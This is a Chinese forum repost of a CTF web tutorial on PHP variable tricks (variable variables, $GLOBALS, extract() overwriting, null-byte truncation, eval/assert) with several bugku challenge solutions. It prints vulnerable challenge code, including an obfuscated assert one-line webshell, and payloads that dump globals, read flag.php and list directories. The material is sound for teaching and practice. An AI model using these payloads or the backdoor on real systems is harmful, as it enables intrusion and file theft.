騎驢去看海 發表於 2020-8-19 01:31:00

CTF-WEB:PHP 变量

<p></p><div class="toc"><div class="toc-container-header">目录</div><ul><li>特殊的变量<ul><li>可变变量</li><li>超全局变量</li></ul></li><li>变量覆盖</li><li>NULL 截断</li><li>eval() 函数和 assert</li><li>例题:bugku-变量 1</li><li>例题:bugku-extract 变量覆盖</li><li>例题:bugku-Web 8</li><li>例题:bugku-本地包含</li><li>例题:bugku-过狗一句话</li></ul></div><p></p>
<h1 id="特殊的变量">特殊的变量</h1>
<h2 id="可变变量">可变变量</h2>
<p>一个可变变量 “$$” 获取了一个普通变量的值后,用这个值作为这个可变变量的变量名。一个美元符号表示提取变量中的值,而 2 个连续的美元符号表示用某个变量的内容作为变量名,再来访问该变量。例如以下代码:</p>
<pre><code>&lt;?php
$a = "b";
$b = "c";
$c = "a";

echo&nbsp;$a;      //输出 b
echo&nbsp;$$a;      //输出 c
echo&nbsp;$$$a;      //输出 a
?&gt;
</code></pre>
<h2 id="超全局变量">超全局变量</h2>
<p>PHP 的 <strong>$ GLOBALS</strong> 是一个超全局变量,它引用全局作用域中可用的全部变量。变量时一个包含了全部变量的全局组合数组,变量的名字就是数组的键。有时候当 flag 隐藏在某个变量中时,可以考虑从 GLOBALS 中得到。</p>
<h1 id="变量覆盖">变量覆盖</h1>
<p>extract() 函数从数组中将变量导入到当前的符号表。使用数组键名作为变量名,使用数组键值作为变量值,针对数组中的每个元素将在当前符号表中创建对应的一个变量。extract() 函数也可以将 GET 传入的数据进行转换,例如:</p>
<pre><code>&lt;?php
$a = false;
extract($_GET);
if($flag)
{
      echo "flag{}"
}
?&gt;
</code></pre>
<p>此时变量 a 已经被定义了,但是在 extract() 函数转换 GET 方法传入的数据时,传入的 a 在转换时就会把原来的变量覆盖掉。</p>
<h1 id="null-截断">NULL 截断</h1>
<p>PHP 是基于 C 语言实现的,因此 PHP 在底层使用了一些 C 语言的字符串处理函数。在遇到 <strong>NULL(\x00)</strong> 字符时,处理函数会把该字符当做结束标记,这就可以在遍历结尾处去除不想要的字符。例如这段代码包含的文件名后面会被强行加上字符 'text.html',使得我们不能够直接包含文件。但是我们可以在文件名后面加个 <strong>% 00</strong> 字符来截断,这样后面的字符就会被忽略了。</p>
<pre><code>$file = $_GET['file'];
include $flie.'text.html';
</code></pre>
<p>不过这个漏洞在新版本的 PHP 中已经被修好了,很少会用到。</p>
<h1 id="eval-函数和-assert">eval() 函数和 assert</h1>
<p><strong>eval() 函数可以把把字符串当成 PHP 代码来计算</strong>,该字符串必须是合法的 PHP 代码,且必须以分号结尾。语法如下:</p>
<pre><code>eval(phpcode);    //phpcode 参数必需,规定要计算的 PHP 代码。
</code></pre>
<p>与之功能相似的是 assert <strong>断言</strong>,assert 是个宏,不过为了好理解可以先把它当做和 eval() 函数一样的东西,即可以执行括号内的代码。</p>
<h1 id="例题bugku-变量-1">例题:bugku-变量 1</h1>
<p>打开网页,可以直接看到源码。</p>
<pre><code>flag In the variable !&lt;?php

error_reporting(0);    // 关闭php错误显示
include "flag1.php";    // 引入 flag1.php 文件代码
highlight_file(__file__);
if(isset($_GET['args'])){    // 通过get方式传递 args变量才能执行if里面的代码
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){    // 匹配任意大小写字母和 0 到 9 以及下划线组成
      die("args error!");
    }
    eval("var_dump($$args);");      //var_dump() 函数用于输出变量的相关信息
}
?&gt;
</code></pre>
<p>因为这里有个 <strong>preg_match() 函数</strong>,它会通过正则表达式匹配字符串,因此不能使用其他的漏洞。根据提示 flag 藏在一个变量之中,观察到代码中有“$$”的可变变量用法。<br>
<img src="https://img2020.cnblogs.com/blog/1774310/202007/1774310-20200731191901669-1341769761.png" alt="" loading="lazy"></p>
<p>也就是说,此时不需要去猜测 flag 藏在那个变量中,因为知道了变量名,有了“$$”也不能直接访问。现在需要知道保存 flag 的变量是哪个变量的值,因为 var_dump() 函数可以输出变量,如果变量是个数组也可以,例如:</p>
<pre><code>&lt;?php
$args = array(1, 2, 3);
var_dump($args);
?&gt;
</code></pre>
<p>则数组 args 中的内容都可以被输出来,因此该函数也能把 “$GLOBALS” 中的内容都输出来。因此我们只需要把 GLOBALS 传递过去就行,构造 payload:</p>
<pre><code>?args=GLOBALS
</code></pre>
<h1 id="例题bugku-extract-变量覆盖">例题:bugku-extract 变量覆盖</h1>
<p>源码如下,flag 变量已经被定义了,如果用 GET 传入的变量中存在一个名叫 shiyan 的字符串,则将 flag 变量的值赋给 content 变量,如果变量 shiyan 和变量 content 的值相同就输出 flag 的值。</p>
<pre><code>&lt;?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
    $content=trim(file_get_contents($flag));
    if($shiyan==$content)
    {
          echo'flag{xxx}';
    }
    else
    {
          echo'Oh.no';
    }
}
?&gt;
</code></pre>
<p>此时 flag 变量被赋值成什么值我们不得而知,所以现在的想法是把 flag 变量覆盖掉。由于 extract() 函数可以将所有 GET 方法传入的数据全部换成变量,因此可以在传入 shiyan 变量时也传入一个 flag 变量。构造 payload 提交到指定网页,提交获得 flag。</p>
<pre><code>?shiyan=&amp;flag=
</code></pre>
<h1 id="例题bugku-web-8">例题:bugku-Web 8</h1>
<p>源码如下,注意到代码中使用了 extract() 获取了系列参数,考虑使用变量覆盖的手法。根据对源码的分析,变量 f 的值来自于变量 fn 表示的文件,当变量 ac 等于变量 f 的值时输出 flag。注意这里的判断使用的是 “===”,而且变量 ac 不能为空。</p>
<pre><code>&lt;?php
extract($_GET);
if (!empty($ac))
{
    $f = trim(file_get_contents($fn));
    if ($ac === $f)
    {
      echo "&lt;p&gt;This is flag:" ." $flag&lt;/p&gt;";
    }
    else   
    {
      echo "&lt;p&gt;sorry!&lt;/p&gt;";
    }
}
?&gt;
</code></pre>
<p>根据提示 “txt????” 我们猜测可能还有某个 txt 文件能为我们所用,根据经验这个文件可能是 flag.txt。访问 flag.txt 文件,得到这个文件的内容是 “flags”。<br>
<img src="https://img2020.cnblogs.com/blog/1774310/202008/1774310-20200819220804398-1610141540.png" alt="" loading="lazy"><br>
接下来就可以解题了,我们可以覆盖变量 fn,fn 的值为 flag.txt,这样 f 变量的值经过 file_get_contents() 文件提取函数之后的值应该为 “flags”。接着我们让 ac 的值也为 “flags”,这样就同时满足 ac 不为空且等于变量 f 了。综上所述,构造 payload:</p>
<pre><code>?ac=flags&amp;fn=flag.txt
</code></pre>
<h1 id="例题bugku-本地包含">例题:bugku-本地包含</h1>
<p>题目的源码如下,观察到代码将提取一个 REQUEST 变量,这个变量时 HTTP Request 变量,默认情况下包含了 GET、POST 和 COOKIE 的数组。</p>
<pre><code>&lt;?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval("var_dump($a);");      //var_dump() 函数可以输出变量的类型和值
    show_source(__FILE__);
?&gt;
</code></pre>
<p>除了利用 eval() 函数和使用 PHP 伪协议,还可以直接把 flag.php 导入到 hello 变量中直接显示出来。</p>
<pre><code>hello=file("flag.php")
</code></pre>
<h1 id="例题bugku-过狗一句话">例题:bugku-过狗一句话</h1>
<p>首先先认识下下 explode() 函数,函数可以使用一个字符串分割另一个字符串,并返回由字符串组成的数组。函数语法和参数如下:</p>
<pre><code>explode(separator,string,limit)
</code></pre>
<table>
<thead>
<tr>
<th>参数</th>
<th>说明</th>
</tr>
</thead>
<tbody>
<tr>
<td>separator</td>
<td>必需,规定在哪里分割字符串</td>
</tr>
<tr>
<td>string</td>
<td>必需,要分割的字符串</td>
</tr>
<tr>
<td>limit</td>
<td>可选,规定所返回的数组元素的数目</td>
</tr>
<tr>
<td>例如以下代码:</td>
<td></td>
</tr>
</tbody>
</table>
<pre><code>$str = 'one,two,three,four';
print_r(explode(',',$str));
</code></pre>
<p>输出的结果为:</p>
<pre><code>Array
(
    =&gt; one
    =&gt; two
    =&gt; three
    =&gt; four
)
</code></pre>
<p>源码如下,观察到有一个 explode() 函数,也就是说字符串 poc 将会被切割为一个数组。</p>
<pre><code>&lt;?php
    $poc = "a#s#s#e#r#t";
    $poc_1 = explode("#",$poc);
    $poc_2 = $poc_1.$poc_1.$poc_1.$poc_1.$poc_1.$poc_1;
    $poc_2($_GET['s'])
?&gt;
</code></pre>
<p>此处稍微有点不好理解,变量 poc_2 是由 5 个字符拼接成的字符串 “assert”。此时注意看最后一行的写法,“$” 符号提取 poc_2 中的值,后面接上代码等同于使用了 assert 函数。</p>
<pre><code>assert($_GET['s'])
</code></pre>
<p>注意这里括号内的代码是用 GET 方法传入的变量 s 中的内容,也就是说我们可以将一段代码赋给 s 来执行。我们怀疑 flag 藏在网页目录下的一个文件中,因此可以使用 scandir() 函数来获取目录下的所有文件,然后带上输出函数看看。</p>
<pre><code>?s=print_r(scandir('./'))
</code></pre>
<p><img src="https://img2020.cnblogs.com/blog/1774310/202008/1774310-20200821013959244-954608858.png" alt="" loading="lazy"><br>
这里可以看到 flag 所在的文件了,访问之后获得。</p><br><br>
来源:https://www.cnblogs.com/linfangnan/p/13521819.html
頁: [1]
查看完整版本: CTF-WEB:PHP 变量